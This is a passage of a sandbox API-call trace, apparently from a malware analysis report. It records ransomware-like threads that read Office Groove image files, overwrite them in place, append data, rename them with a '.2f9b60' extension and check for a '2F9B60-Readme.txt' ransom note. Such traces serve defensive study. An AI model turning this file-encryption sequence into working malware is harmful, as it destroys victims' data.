NtQuerySystemTime (in: CurrentTime=0x1d4af620 | out: CurrentTime=0x1d4af620*=132462178255210000) returned 0x0 [0221.525] RtlRandomEx (in: Seed=0x1d4af610 | out: Seed=0x1d4af610) returned 0x7e3618ab [0221.525] RtlRandomEx (in: Seed=0x1d4af610 | out: Seed=0x1d4af610) returned 0x6f40cc1f [0221.525] RtlRandomEx (in: Seed=0x1d4af610 | out: Seed=0x1d4af610) returned 0x3da583d1 [0221.525] RtlRandomEx (in: Seed=0x1d4af610 | out: Seed=0x1d4af610) returned 0x10a72d13 [0221.525] RtlRandomEx (in: Seed=0x1d4af610 | out: Seed=0x1d4af610) returned 0x6bb52a17 [0221.525] RtlRandomEx (in: Seed=0x1d4af610 | out: Seed=0x1d4af610) returned 0x496e1e8 [0221.525] RtlRandomEx (in: Seed=0x1d4af610 | out: Seed=0x1d4af610) returned 0xfb97c69 [0221.525] RtlRandomEx (in: Seed=0x1d4af610 | out: Seed=0x1d4af610) returned 0x7cf6441b [0221.525] RtlRandomEx (in: Seed=0x1d4af610 | out: Seed=0x1d4af610) returned 0x5f206fec [0221.525] RtlRandomEx (in: Seed=0x1d4af610 | out: Seed=0x1d4af610) returned 0x6fe7c77d [0221.525] RtlRandomEx (in: Seed=0x1d4af610 | out: Seed=0x1d4af610) returned 0x57412e7 [0221.525] RtlRandomEx (in: Seed=0x1d4af610 | out: Seed=0x1d4af610) returned 0x619e5991 [0221.525] RtlRandomEx (in: Seed=0x1d4af610 | out: Seed=0x1d4af610) returned 0x6b862429 [0221.525] RtlRandomEx (in: Seed=0x1d4af610 | out: Seed=0x1d4af610) returned 0x42402e63 [0221.525] RtlRandomEx (in: Seed=0x1d4af610 | out: Seed=0x1d4af610) returned 0x7d71a54b [0221.525] RtlRandomEx (in: Seed=0x1d4af610 | out: Seed=0x1d4af610) returned 0x1aca4219 [0221.525] RtlRandomEx (in: Seed=0x1d4af610 | out: Seed=0x1d4af610) returned 0x6509eebd [0221.526] RtlRandomEx (in: Seed=0x1d4af610 | out: Seed=0x1d4af610) returned 0x45342aa0 [0221.526] RtlRandomEx (in: Seed=0x1d4af610 | out: Seed=0x1d4af610) returned 0x5f6e64d8 [0221.526] RtlRandomEx (in: Seed=0x1d4af610 | out: Seed=0x1d4af610) returned 0x4fb8211e [0221.526] RtlRandomEx (in: Seed=0x1d4af610 | out: Seed=0x1d4af610) returned 0x634cf36f [0221.526] RtlRandomEx (in: Seed=0x1d4af610 | out: Seed=0x1d4af610) returned 0x7fa7d2dd [0221.526] RtlRandomEx (in: Seed=0x1d4af610 | out: Seed=0x1d4af610) returned 0x2337f5d4 [0221.526] RtlRandomEx (in: Seed=0x1d4af610 | out: Seed=0x1d4af610) returned 0x3d8c44d4 [0221.526] RtlRandomEx (in: Seed=0x1d4af610 | out: Seed=0x1d4af610) returned 0x15c5c8f0 [0221.526] RtlRandomEx (in: Seed=0x1d4af610 | out: Seed=0x1d4af610) returned 0x5a3894e1 [0221.526] RtlRandomEx (in: Seed=0x1d4af610 | out: Seed=0x1d4af610) returned 0x3235ba9f [0221.526] RtlRandomEx (in: Seed=0x1d4af610 | out: Seed=0x1d4af610) returned 0x4b8b95de [0221.526] RtlRandomEx (in: Seed=0x1d4af610 | out: Seed=0x1d4af610) returned 0x35c01ab6 [0221.526] RtlRandomEx (in: Seed=0x1d4af610 | out: Seed=0x1d4af610) returned 0x404eb754 [0221.526] RtlRandomEx (in: Seed=0x1d4af610 | out: Seed=0x1d4af610) returned 0x77b0d4fc [0221.526] RtlRandomEx (in: Seed=0x1d4af610 | out: Seed=0x1d4af610) returned 0x2efd03d7 [0221.534] ReadFile (in: hFile=0x868, lpBuffer=0x420f79e0, nNumberOfBytesToRead=0xca8, lpNumberOfBytesRead=0x1d4af610, lpOverlapped=0x0 | out: lpBuffer=0x420f79e0*, lpNumberOfBytesRead=0x1d4af610*=0xca8, lpOverlapped=0x0) returned 1 [0221.534] SetFilePointerEx (in: hFile=0x868, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0221.534] WriteFile (in: hFile=0x868, lpBuffer=0x420e4d90*, nNumberOfBytesToWrite=0xca8, lpNumberOfBytesWritten=0x1d4af614, lpOverlapped=0x0 | out: lpBuffer=0x420e4d90*, lpNumberOfBytesWritten=0x1d4af614*=0xca8, lpOverlapped=0x0) returned 1 [0223.158] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fd8d0 [0223.159] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fd960 [0223.159] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fd960) returned 1 [0223.159] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420e4d90) returned 1 [0223.160] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420f79e0) returned 1 [0223.160] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b868e40) returned 1 [0223.160] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce61bf0) returned 1 [0223.160] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3a) returned 0x1ce61bf0 [0223.161] SetFilePointerEx (in: hFile=0x868, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0223.161] WriteFile (in: hFile=0x868, lpBuffer=0x42c21260*, nNumberOfBytesToWrite=0x11e, lpNumberOfBytesWritten=0x1d4af730, lpOverlapped=0x0 | out: lpBuffer=0x42c21260*, lpNumberOfBytesWritten=0x1d4af730*=0x11e, lpOverlapped=0x0) returned 1 [0224.998] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c21260) returned 1 [0224.999] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce62410) returned 1 [0224.999] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fd960) returned 1 [0225.000] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce61bf0) returned 1 [0225.000] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fd8d0) returned 1 [0225.001] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82a960) returned 1 [0225.001] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8603f0) returned 1 [0225.002] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8600f0) returned 1 [0225.002] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xf2) returned 0x1b78ed80 [0225.002] wcscpy (in: _Dest=0x1b78ed80, _Source="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveDocumentReview\\ActiveTabImageMask.bmp" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveDocumentReview\\ActiveTabImageMask.bmp") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveDocumentReview\\ActiveTabImageMask.bmp" [0225.002] wcscat (in: _Dest=0x1b78ed80, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveDocumentReview\\ActiveTabImageMask.bmp.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveDocumentReview\\ActiveTabImageMask.bmp.2f9b60" [0225.002] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveDocumentReview\\ActiveTabImageMask.bmp.2f9b60", NtPathName=0x1d4af750, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveDocumentReview\\ActiveTabImageMask.bmp.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0225.002] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x110) returned 0x431f15c0 [0227.012] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431f15c0) returned 1 [0227.013] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431bcf00) returned 1 [0227.013] NtQueryInformationFile (in: FileHandle=0x868, IoStatusBlock=0x1d4af7b8, FileInformation=0x1d4af7c8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x1d4af7b8, FileInformation=0x1d4af7c8) returned 0x0 [0227.013] NtSetInformationFile (FileHandle=0x868, IoStatusBlock=0x1d4af7b8, FileInformation=0x1d4af7c8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0234.865] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b78ed80) returned 1 [0234.865] FlushFileBuffers (hFile=0x868) returned 1 [0238.178] CloseHandle (hObject=0x868) returned 1 [0240.460] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xdc) returned 0x1b799340 [0240.461] wcscpy (in: _Dest=0x1b799340, _Source="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveDocumentReview\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveDocumentReview\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveDocumentReview\\" [0240.461] wcscat (in: _Dest=0x1b799340, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveDocumentReview\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveDocumentReview\\2F9B60-Readme.txt" [0240.461] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveDocumentReview\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\groovedocumentreview\\2f9b60-readme.txt")) returned 0x20 [0240.618] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b799340) returned 1 [0240.619] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ceb63e0) returned 1 Thread: id = 3744 os_tid = 0x2224 [0220.488] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveDocumentReview\\BodyPaneBackground.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\groovedocumentreview\\bodypanebackground.jpg")) returned 0x20 [0221.669] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveDocumentReview\\BodyPaneBackground.jpg", dwFileAttributes=0x20) returned 1 [0221.678] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveDocumentReview\\BodyPaneBackground.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\groovedocumentreview\\bodypanebackground.jpg"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x80c [0221.717] GetFileSizeEx (in: hFile=0x80c, lpFileSize=0x2897f880 | out: lpFileSize=0x2897f880*=2493) returned 1 [0221.717] SetFilePointerEx (in: hFile=0x80c, liDistanceToMove=0x9b9, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0221.717] ReadFile (in: hFile=0x80c, lpBuffer=0x2897f800, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2897f848, lpOverlapped=0x0 | out: lpBuffer=0x2897f800*, lpNumberOfBytesRead=0x2897f848*=0x4, lpOverlapped=0x0) returned 1 [0221.719] SetFilePointerEx (in: hFile=0x80c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0221.719] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20267f80 [0221.720] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202644a0 [0221.720] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20264470 [0221.721] NtQuerySystemTime (in: CurrentTime=0x2897f740 | out: CurrentTime=0x2897f740*=132462178257082000) returned 0x0 [0221.721] RtlRandomEx (in: Seed=0x2897f730 | out: Seed=0x2897f730) returned 0x16cace8d [0221.721] RtlRandomEx (in: Seed=0x2897f730 | out: Seed=0x2897f730) returned 0x2f2c2de8 [0221.721] RtlRandomEx (in: Seed=0x2897f730 | out: Seed=0x2897f730) returned 0x4a58005c [0221.721] RtlRandomEx (in: Seed=0x2897f730 | out: Seed=0x2897f730) returned 0x7af41b1b [0221.721] RtlRandomEx (in: Seed=0x2897f730 | out: Seed=0x2897f730) returned 0x345bbaf4 [0221.721] RtlRandomEx (in: Seed=0x2897f730 | out: Seed=0x2897f730) returned 0x28e8177c [0221.722] RtlRandomEx (in: Seed=0x2897f730 | out: Seed=0x2897f730) returned 0x9419a18 [0221.722] RtlRandomEx (in: Seed=0x2897f730 | out: Seed=0x2897f730) returned 0x54d1b050 [0221.722] RtlRandomEx (in: Seed=0x2897f730 | out: Seed=0x2897f730) returned 0x3afcdb45 [0221.722] RtlRandomEx (in: Seed=0x2897f730 | out: Seed=0x2897f730) returned 0x5761055d [0221.722] RtlRandomEx (in: Seed=0x2897f730 | out: Seed=0x2897f730) returned 0x6aa03b1d [0221.722] RtlRandomEx (in: Seed=0x2897f730 | out: Seed=0x2897f730) returned 0x7bf52f9b [0221.722] RtlRandomEx (in: Seed=0x2897f730 | out: Seed=0x2897f730) returned 0x1571f6c0 [0221.722] RtlRandomEx (in: Seed=0x2897f730 | out: Seed=0x2897f730) returned 0xe073f10 [0221.722] RtlRandomEx (in: Seed=0x2897f730 | out: Seed=0x2897f730) returned 0x1e7190a2 [0221.722] RtlRandomEx (in: Seed=0x2897f730 | out: Seed=0x2897f730) returned 0x54cf9ccc [0221.722] RtlRandomEx (in: Seed=0x2897f730 | out: Seed=0x2897f730) returned 0x4f890c24 [0221.722] RtlRandomEx (in: Seed=0x2897f730 | out: Seed=0x2897f730) returned 0x7a9e699b [0221.722] RtlRandomEx (in: Seed=0x2897f730 | out: Seed=0x2897f730) returned 0x387e1ef0 [0221.722] RtlRandomEx (in: Seed=0x2897f730 | out: Seed=0x2897f730) returned 0xf68e042 [0221.722] RtlRandomEx (in: Seed=0x2897f730 | out: Seed=0x2897f730) returned 0x2391f717 [0221.722] RtlRandomEx (in: Seed=0x2897f730 | out: Seed=0x2897f730) returned 0x5ad617cc [0221.722] RtlRandomEx (in: Seed=0x2897f730 | out: Seed=0x2897f730) returned 0x37070a73 [0221.722] RtlRandomEx (in: Seed=0x2897f730 | out: Seed=0x2897f730) returned 0x68b0c797 [0221.722] RtlRandomEx (in: Seed=0x2897f730 | out: Seed=0x2897f730) returned 0x243c4f32 [0221.722] RtlRandomEx (in: Seed=0x2897f730 | out: Seed=0x2897f730) returned 0x5f0f6f6e [0221.722] RtlRandomEx (in: Seed=0x2897f730 | out: Seed=0x2897f730) returned 0xcb8e012 [0221.722] RtlRandomEx (in: Seed=0x2897f730 | out: Seed=0x2897f730) returned 0x60915d34 [0221.722] RtlRandomEx (in: Seed=0x2897f730 | out: Seed=0x2897f730) returned 0x5a014b4e [0221.722] RtlRandomEx (in: Seed=0x2897f730 | out: Seed=0x2897f730) returned 0x70b1388d [0221.722] RtlRandomEx (in: Seed=0x2897f730 | out: Seed=0x2897f730) returned 0x21eddc50 [0221.722] RtlRandomEx (in: Seed=0x2897f730 | out: Seed=0x2897f730) returned 0x48879629 [0221.732] ReadFile (in: hFile=0x80c, lpBuffer=0x41f66910, nNumberOfBytesToRead=0x9bd, lpNumberOfBytesRead=0x2897f730, lpOverlapped=0x0 | out: lpBuffer=0x41f66910*, lpNumberOfBytesRead=0x2897f730*=0x9bd, lpOverlapped=0x0) returned 1 [0221.732] SetFilePointerEx (in: hFile=0x80c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0221.732] WriteFile (in: hFile=0x80c, lpBuffer=0x41f5f0f0*, nNumberOfBytesToWrite=0x9bd, lpNumberOfBytesWritten=0x2897f734, lpOverlapped=0x0 | out: lpBuffer=0x41f5f0f0*, lpNumberOfBytesWritten=0x2897f734*=0x9bd, lpOverlapped=0x0) returned 1 [0222.956] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20264800 [0222.956] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202645c0 [0222.957] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202645c0) returned 1 [0222.957] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41f5f0f0) returned 1 [0222.957] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41f66910) returned 1 [0222.958] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8685c0) returned 1 [0222.958] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce62820) returned 1 [0222.958] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3a) returned 0x1ce62820 [0222.959] SetFilePointerEx (in: hFile=0x80c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0222.959] WriteFile (in: hFile=0x80c, lpBuffer=0x42c20b40*, nNumberOfBytesToWrite=0x11e, lpNumberOfBytesWritten=0x2897f850, lpOverlapped=0x0 | out: lpBuffer=0x42c20b40*, lpNumberOfBytesWritten=0x2897f850*=0x11e, lpOverlapped=0x0) returned 1 [0223.443] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c20b40) returned 1 [0223.444] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce61560) returned 1 [0223.444] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202645c0) returned 1 [0223.445] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce62820) returned 1 [0223.446] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20264800) returned 1 [0223.446] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202644a0) returned 1 [0223.447] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20265dc0) returned 1 [0223.447] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202654f0) returned 1 [0223.447] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xf2) returned 0x1b78f580 [0223.448] wcscpy (in: _Dest=0x1b78f580, _Source="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveDocumentReview\\BodyPaneBackground.jpg" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveDocumentReview\\BodyPaneBackground.jpg") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveDocumentReview\\BodyPaneBackground.jpg" [0223.448] wcscat (in: _Dest=0x1b78f580, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveDocumentReview\\BodyPaneBackground.jpg.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveDocumentReview\\BodyPaneBackground.jpg.2f9b60" [0223.448] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveDocumentReview\\BodyPaneBackground.jpg.2f9b60", NtPathName=0x2897f870, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveDocumentReview\\BodyPaneBackground.jpg.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0223.448] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x110) returned 0x1675e0 [0227.344] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1675e0) returned 1 [0227.344] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431b8900) returned 1 [0227.344] NtQueryInformationFile (in: FileHandle=0x80c, IoStatusBlock=0x2897f8d8, FileInformation=0x2897f8e8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2897f8d8, FileInformation=0x2897f8e8) returned 0x0 [0227.344] NtSetInformationFile (FileHandle=0x80c, IoStatusBlock=0x2897f8d8, FileInformation=0x2897f8e8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0235.163] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b78f580) returned 1 [0235.163] FlushFileBuffers (hFile=0x80c) returned 1 [0238.184] CloseHandle (hObject=0x80c) returned 1 [0240.485] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xdc) returned 0x1b799520 [0240.485] wcscpy (in: _Dest=0x1b799520, _Source="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveDocumentReview\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveDocumentReview\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveDocumentReview\\" [0240.485] wcscat (in: _Dest=0x1b799520, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveDocumentReview\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveDocumentReview\\2F9B60-Readme.txt" [0240.485] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveDocumentReview\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\groovedocumentreview\\2f9b60-readme.txt")) returned 0x20 [0240.615] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b799520) returned 1 [0240.616] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ceb64d0) returned 1 Thread: id = 3745 os_tid = 0x222c [0220.489] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveDocumentReview\\InactiveTabImage.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\groovedocumentreview\\inactivetabimage.jpg")) returned 0x20 [0221.670] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveDocumentReview\\InactiveTabImage.jpg", dwFileAttributes=0x20) returned 1 [0221.681] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveDocumentReview\\InactiveTabImage.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\groovedocumentreview\\inactivetabimage.jpg"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1614 [0221.737] GetFileSizeEx (in: hFile=0x1614, lpFileSize=0x4fcffd40 | out: lpFileSize=0x4fcffd40*=9453) returned 1 [0221.737] SetFilePointerEx (in: hFile=0x1614, liDistanceToMove=0x24e9, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0221.737] ReadFile (in: hFile=0x1614, lpBuffer=0x4fcffcc0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x4fcffd08, lpOverlapped=0x0 | out: lpBuffer=0x4fcffcc0*, lpNumberOfBytesRead=0x4fcffd08*=0x4, lpOverlapped=0x0) returned 1 [0221.767] SetFilePointerEx (in: hFile=0x1614, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0221.767] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20267f80 [0221.767] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20264590 [0221.768] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20264620 [0221.768] NtQuerySystemTime (in: CurrentTime=0x4fcffc00 | out: CurrentTime=0x4fcffc00*=132462178257550000) returned 0x0 [0221.768] RtlRandomEx (in: Seed=0x4fcffbf0 | out: Seed=0x4fcffbf0) returned 0x966f960 [0221.768] RtlRandomEx (in: Seed=0x4fcffbf0 | out: Seed=0x4fcffbf0) returned 0x45eb2e24 [0221.768] RtlRandomEx (in: Seed=0x4fcffbf0 | out: Seed=0x4fcffbf0) returned 0x62504561 [0221.768] RtlRandomEx (in: Seed=0x4fcffbf0 | out: Seed=0x4fcffbf0) returned 0x1b6d565c [0221.768] RtlRandomEx (in: Seed=0x4fcffbf0 | out: Seed=0x4fcffbf0) returned 0x37f9fac0 [0221.768] RtlRandomEx (in: Seed=0x4fcffbf0 | out: Seed=0x4fcffbf0) returned 0xb877646 [0221.768] RtlRandomEx (in: Seed=0x4fcffbf0 | out: Seed=0x4fcffbf0) returned 0x3d18b188 [0221.768] RtlRandomEx (in: Seed=0x4fcffbf0 | out: Seed=0x4fcffbf0) returned 0x13b33211 [0221.768] RtlRandomEx (in: Seed=0x4fcffbf0 | out: Seed=0x4fcffbf0) returned 0x69e64b4c [0221.768] RtlRandomEx (in: Seed=0x4fcffbf0 | out: Seed=0x4fcffbf0) returned 0x2abaadbf [0221.768] RtlRandomEx (in: Seed=0x4fcffbf0 | out: Seed=0x4fcffbf0) returned 0x1baa4398 [0221.768] RtlRandomEx (in: Seed=0x4fcffbf0 | out: Seed=0x4fcffbf0) returned 0x5b377af0 [0221.768] RtlRandomEx (in: Seed=0x4fcffbf0 | out: Seed=0x4fcffbf0) returned 0x62b7db06 [0221.768] RtlRandomEx (in: Seed=0x4fcffbf0 | out: Seed=0x4fcffbf0) returned 0x62e1d5f5 [0221.768] RtlRandomEx (in: Seed=0x4fcffbf0 | out: Seed=0x4fcffbf0) returned 0x67ef5836 [0221.768] RtlRandomEx (in: Seed=0x4fcffbf0 | out: Seed=0x4fcffbf0) returned 0x2da93bd [0221.768] RtlRandomEx (in: Seed=0x4fcffbf0 | out: Seed=0x4fcffbf0) returned 0x1ae1f0b [0221.768] RtlRandomEx (in: Seed=0x4fcffbf0 | out: Seed=0x4fcffbf0) returned 0x1cf2535f [0221.768] RtlRandomEx (in: Seed=0x4fcffbf0 | out: Seed=0x4fcffbf0) returned 0x1d46821f [0221.768] RtlRandomEx (in: Seed=0x4fcffbf0 | out: Seed=0x4fcffbf0) returned 0x6b1c2cba [0221.768] RtlRandomEx (in: Seed=0x4fcffbf0 | out: Seed=0x4fcffbf0) returned 0x319e8600 [0221.768] RtlRandomEx (in: Seed=0x4fcffbf0 | out: Seed=0x4fcffbf0) returned 0x3e4b05e0 [0221.768] RtlRandomEx (in: Seed=0x4fcffbf0 | out: Seed=0x4fcffbf0) returned 0xdceb45d [0221.768] RtlRandomEx (in: Seed=0x4fcffbf0 | out: Seed=0x4fcffbf0) returned 0x2da93bd [0221.768] RtlRandomEx (in: Seed=0x4fcffbf0 | out: Seed=0x4fcffbf0) returned 0x7d382da5 [0221.768] RtlRandomEx (in: Seed=0x4fcffbf0 | out: Seed=0x4fcffbf0) returned 0x58615f89 [0221.768] RtlRandomEx (in: Seed=0x4fcffbf0 | out: Seed=0x4fcffbf0) returned 0x7c6131f0 [0221.768] RtlRandomEx (in: Seed=0x4fcffbf0 | out: Seed=0x4fcffbf0) returned 0x4418a150 [0221.769] RtlRandomEx (in: Seed=0x4fcffbf0 | out: Seed=0x4fcffbf0) returned 0x60cc86c3 [0221.769] RtlRandomEx (in: Seed=0x4fcffbf0 | out: Seed=0x4fcffbf0) returned 0xf8dea57 [0221.769] RtlRandomEx (in: Seed=0x4fcffbf0 | out: Seed=0x4fcffbf0) returned 0x1729cf21 [0221.769] RtlRandomEx (in: Seed=0x4fcffbf0 | out: Seed=0x4fcffbf0) returned 0x69cd72f7 [0221.776] ReadFile (in: hFile=0x1614, lpBuffer=0x20411ef0, nNumberOfBytesToRead=0x24ed, lpNumberOfBytesRead=0x4fcffbf0, lpOverlapped=0x0 | out: lpBuffer=0x20411ef0*, lpNumberOfBytesRead=0x4fcffbf0*=0x24ed, lpOverlapped=0x0) returned 1 [0221.777] SetFilePointerEx (in: hFile=0x1614, liDistanceToMove=0x0, lpNewFilePointer=0x0, 